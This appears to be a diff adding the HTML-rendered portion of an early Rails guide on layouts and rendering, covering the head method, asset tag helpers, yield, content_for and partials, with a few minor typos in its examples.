+<div class="para"><p>The <tt>head</tt> method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling <tt>render :nothing</tt>. The <tt>head</tt> method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>head <span style="color: #990000">:</span>bad_request
+</tt></pre></div></div>
+<div class="para"><p>Or you can use other HTTP headers to convey additional information:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>head <span style="color: #990000">:</span>created<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=&gt;</span> photo_path<span style="color: #990000">(</span><span style="color: #009900">@photo</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_structuring_layouts">3. Structuring Layouts</h2>
+<div class="sectionbody">
+<div class="para"><p>When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Asset tags
+</p>
+</li>
+<li>
+<p>
+<tt>yield</tt> and <tt>content_for</tt>
+</p>
+</li>
+<li>
+<p>
+Partials
+</p>
+</li>
+</ul></div>
+<div class="para"><p>I'll discuss each of these in turn.</p></div>
+<h3 id="_asset_tags">3.1. Asset Tags</h3>
+<div class="para"><p>Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+auto_discovery_link_tag
+</p>
+</li>
+<li>
+<p>
+javascript_include_tag
+</p>
+</li>
+<li>
+<p>
+stylesheet_link_tag
+</p>
+</li>
+<li>
+<p>
+image_tag
+</p>
+</li>
+</ul></div>
+<div class="para"><p>You can use these tags in layouts or other views, although the tags other than <tt>image_tag</tt> are most commonly used in the <tt>&lt;head&gt;</tt> section of a layout.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">The asset tags do <em>not</em> verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.</td>
+</tr></table>
+</div>
+<h4 id="_linking_to_feeds_with_tt_auto_discovery_link_tag_tt">3.1.1. Linking to Feeds with <tt>auto_discovery_link_tag</tt></h4>
+<div class="para"><p>The <tt>auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (</tt>:rss+ or <tt>:atom</tt>), a hash of options that are passed through to url_for, and a hash of options for the tag:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= auto_discovery_link_tag(:rss, {:action =&gt;</span> <span style="color: #FF0000">"feed"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>title <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"RSS Feed"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span> <span style="color: #990000">%&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>There are three tag options available for <tt>auto_discovery_link_tag</tt>:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:rel</tt> specifies the <tt>rel</tt> value in the link (defaults to "alternate")
+</p>
+</li>
+<li>
+<p>
+<tt>:type</tt> specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically
+</p>
+</li>
+<li>
+<p>
+<tt>:title</tt> specifies the title of the link
+</p>
+</li>
+</ul></div>
+<h4 id="_linking_to_javascript_files_with_tt_javascript_include_tag_tt">3.1.2. Linking to Javascript Files with <tt>javascript_include_tag</tt></h4>
+<div class="para"><p>The <tt>javascript_include_tag</tt> helper returns an HTML <tt>&lt;script&gt;</tt> tag for each source provided. Rails looks in <tt>public/javascripts</tt> for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include <tt>public/javascripts/main.js</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main" %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>To include <tt>public/javascripts/main.js</tt> and <tt>public/javascripts/columns.js</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns" %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>To include <tt>public/javascripts/main.js</tt> and <tt>public/photos/columns.js</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "/photos/columns" %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>To include <tt>http://example.com/main.js</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "http://example.com/main.js" %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>defaults</tt> option loads the Prototype and Scriptaculous libraries:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :defaults %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>all</tt> option loads every javascript file in <tt>public/javascripts</tt>, starting with the Prototype and Scriptaculous libraries:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :all %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>You can supply the <tt>:recursive</tt> option to load files in subfolders of <tt>public/javascripts</tt> as well:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :all, :recursive =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>If you're loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache &#8658; true</tt> in your <tt>javascript_include_tag</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns", :cache =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>By default, the combined file will be delivered as <tt>javascripts/all.js</tt>. You can specify a location for the cached asset file instead:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns", :cache =&gt;</span> <span style="color: #FF0000">'cache/main/display'</span> <span style="color: #990000">%&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p></p></div>
+<h4 id="_linking_to_css_files_with_tt_stylesheet_link_tag_tt">3.1.3. Linking to CSS Files with <tt>stylesheet_link_tag</tt></h4>
+<div class="para"><p>The <tt>stylesheet_link_tag</tt> helper returns an HTML <tt>&lt;link&gt;</tt> tag for each source provided. Rails looks in <tt>public/stylesheets</tt> for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include <tt>public/stylesheets/main.cs</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main" %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/stylesheets/columns.css</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns" %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/photos/columns.css</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "/photos/columns" %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>To include <tt>http://example.com/main.cs</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "http://example.com/main.cs" %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>By default, <tt>stylesheet_link_tag</tt> creates links with <tt>media="screen" rel="stylesheet" type="text/css"</tt>. You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main_print", media =&gt;</span> <span style="color: #FF0000">"print"</span> <span style="color: #990000">%&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>all</tt> option links every CSS file in <tt>public/stylesheets</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag :all %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>You can supply the <tt>:recursive</tt> option to link files in subfolders of <tt>public/stylesheets</tt> as well:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag :all, :recursive =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache &#8658; true</tt> in your <tt>stylesheet_link_tag</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns", :cache =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>By default, the combined file will be delivered as <tt>stylesheets/all.css</tt>. You can specify a location for the cached asset file instead:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns", :cache =&gt;</span> <span style="color: #FF0000">'cache/main/display'</span> <span style="color: #990000">%&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p></p></div>
+<h4 id="_linking_to_images_with_tt_image_tag_tt">3.1.4. Linking to Images with <tt>image_tag</tt></h4>
+<div class="para"><p>The <tt>image_tag</tt> helper builds an HTML <tt>&lt;image&gt;</tt> tag to the specified file. By default, files are loaded from <tt>public/images</tt>. If you don't specify an extension, .png is assumed by default:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= image_tag "header" %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>You can supply a path to the image if you like:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= image_tag "icons/delete.gif" %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>You can supply a hash of additional HTML options:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= image_tag "icons/delete.gif", :height =&gt;</span> <span style="color: #993399">45</span> <span style="color: #990000">%&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>There are also three special options you can use with <tt>image_tag</tt>:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:alt</tt> specifies the alt text for the image (which defaults to the file name of the file, capitalized and with no extension)
+</p>
+</li>
+<li>
+<p>
+</p>
+</li>
+<li>
+<p>
+<tt>:mouseover</tt> sets an alternate image to be used when the onmouseover event is fired.
+</p>
+</li>
+</ul></div>
+<h3 id="_understanding_tt_yield_tt">3.2. Understanding <tt>yield</tt></h3>
+<div class="para"><p>Within the context of a layout, <tt>yield</tt> identifies a section where content from the view should be inserted. The simplest way to use this is to have a single <tt>yield</tt>, into which the entire contents of the view currently being rendered is inserted:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;html&gt;</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;/head&gt;</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
+        &lt;%= yield %&gt;
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;hbody&gt;</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can also create a layout with multiple yielding regions:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;html&gt;</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
+        &lt;%= yield :head %&gt;
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;/head&gt;</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
+        &lt;%= yield %&gt;
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;hbody&gt;</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The main body of the view will always render into the unnamed <tt>yield</tt>. To render content into a named <tt>yield</tt>, you use the <tt>content_for</tt> method.</p></div>
+<h3 id="_using_tt_content_for_tt">3.3. Using <tt>content_for</tt></h3>
+<div class="para"><p>The <tt>content_for</tt> method allows you to insert content into a <tt>yield</tt> block in your layout. You only use <tt>content_for</tt> to insert content in named yields. For example, this view would work with the layout that you just saw:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;% content_for :head do %&gt;
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;title&gt;</span></span>A simple page<span style="font-weight: bold"><span style="color: #0000FF">&lt;/title&gt;</span></span>
+&lt;% end %&gt;
+
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The result of rendering this page into the supplied layout would be this HTML:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;html&gt;</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
+        <span style="font-weight: bold"><span style="color: #0000FF">&lt;title&gt;</span></span>A simple page<span style="font-weight: bold"><span style="color: #0000FF">&lt;/title&gt;</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;/head&gt;</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
+        <span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;hbody&gt;</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>content_for</tt> method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.</p></div>
+<h3 id="_using_partials">3.4. Using Partials</h3>
+<div class="para"><p>Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.</p></div>
+<h4 id="_naming_partials">3.4.1. Naming Partials</h4>
+<div class="para"><p>To render a partial as part of a view, you use the <tt>render</tt> method within the view, and include the <tt>:partial</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"menu"</span> <span style="color: #990000">%&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>This will render a file named <tt>_menu.html.erb</tt> at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"shared/menu"</span> <span style="color: #990000">%&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>That code will pull in the partial from <tt>app/views/shared/_menu.html.erb</tt>.</p></div>
+<h4 id="_using_partials_to_simplify_views">3.4.2. Using Partials to Simplify Views</h4>
+<div class="para"><p>One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;%= render :partial =&gt; "shared/ad_banner" %&gt;
+
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Products<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Here are a few of our fine products:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+...
+
+&lt;%= render :partial =&gt; "shared/footer" %&gt;
+</tt></pre></div></div>
+<div class="para"><p>Here, the <tt>_ad_banner.html.erb</tt> and <tt>_footer.html.erb</tt> partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For content that is shared among all pages in your application, you can use partials directly from layouts.</td>
+</tr></table>
+</div>
+<h4 id="_partial_layouts">3.4.3. Partial Layouts</h4>
+<div class="para"><p>A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;%= render :partial =&gt; "link_area", :layout =&gt; "graybar" %&gt;
+</tt></pre></div></div>
+<div class="para"><p>This would look for a partial named <tt>_link_area.html.erb</tt> and render it using the layout <tt>_graybar.html.erb</tt>. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master <tt>layouts</tt> folder).</p></div>
+<h4 id="_passing_local_variables">3.4.4. Passing Local Variables</h4>
+<div class="para"><p>You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:</p></div>
+<div class="para"><p><tt>new.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>New zone<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
+&lt;%= error_messages_for :zone %&gt;
+&lt;%= render :partial =&gt; "form", :locals =&gt; { :button_label =&gt; "Create zone", :zone =&gt; @zone } %&gt;
+</tt></pre></div></div>
+<div class="para"><p><tt>edit.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Editing zone<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
+&lt;%= error_messages_for :zone %&gt;
+&lt;%= render :partial =&gt; "form", :locals =&gt; { :button_label =&gt; "Update zone", :zone =&gt; @zone } %&gt;
+</tt></pre></div></div>
+<div class="para"><p><tt>_form.html.erb:</tt></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;% form_for(zone) do |f| %&gt;
+        <span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
+          <span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Zone name<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;&lt;br</span></span> <span style="font-weight: bold"><span style="color: #0000FF">/&gt;</span></span>
+          &lt;%= f.text_field :name %&gt;
+        <span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
+    &lt;%= f.submit button_label %&gt;
+  <span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+&lt;% end %&gt;
+</tt></pre></div></div>
+<div class="para"><p>Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.</p></div>
+<div class="para"><p>Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the <tt>:object</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;%= render :partial =&gt; "customer", :object =&gt; @new_customer %&gt;
+</tt></pre></div></div>
+<div class="para"><p>Within the <tt>customer</tt> partial, the <tt>@customer</tt> variable will refer to <tt>@new_customer</tt> from the parent view.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.</td>
+</tr></table>
+</div>
+<div class="para"><p>If you have an instance of a model to render into a partial, you can use a shorthand syntax:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;%= render :partial =&gt; @customer %&gt;
+</tt></pre></div></div>
+<div class="para"><p>Assuming that the <tt>@customer</tt> instance variable contains an instance of the <tt>Customer</tt> model, this will use <tt>_customer.html.erb</tt> to render it.</p></div>
+<h4 id="_rendering_collections">3.4.5. Rendering Collections</h4>
+<div class="para"><p>Partials are very useful in rendering collections. When you pass a collection to a partial via the <tt>:collection</tt> option, the partial will be inserted once for each member in the collection:</p></div>
+<div class="para"><p><tt>index.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Products<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
+&lt;%= render :partial =&gt; "product", :collection =&gt; @products %&gt;
+</tt></pre></div></div>
+<div class="para"><p><tt>_product.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Product Name: &lt;%= product.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
+</tt></pre></div></div>
+<div class="para"><p>When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is <tt>_product, and within the +_product</tt> partial, you can refer to <tt>product</tt> to get the instance that is being rendered. To use a custom local variable name within the partial, specify the <tt>:as</tt> option in the call to the partial:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;%= render :partial =&gt; "product", :collection =&gt; @products, :as =&gt; :item %&gt;
+</tt></pre></div></div>
+<div class="para"><p>With this change, you can access an instance of the <tt>@products</tt> collection as the <tt>item</tt> local variable within the partial.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by <tt>_counter</tt>. For example, if you're rendering <tt>@products</tt>, within the partial you can refer to <tt>product_counter</tt> to tell you how many times the partial has been rendered.</td>
+</tr></table>
+</div>
+<div class="para"><p>You can also specify a second partial to be rendered between instances of the main partial by using the <tt>:spacer_template</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>&lt;%= render :partial =&gt; "product", :collection =&gt; @products, :spacer_template =&gt; "product_ruler" %&gt;
+</tt></pre></div></div>
+<div class="para"><p>Rails will render the <tt>_product_ruler</tt> partial (with no data passed in to it) between each pair of <tt>_product</tt> partials.</p></div>
+<div class="para"><p>There's also a shorthand syntax available for rendering collections. For example, if <tt>@products</tt> is a collection of products, you can render the collection this way:</p></div>
+<div class="para"><p><tt>index.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Products<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
+&lt;%= render :partial =&gt; @products %&gt;
+</tt></pre></div></div>
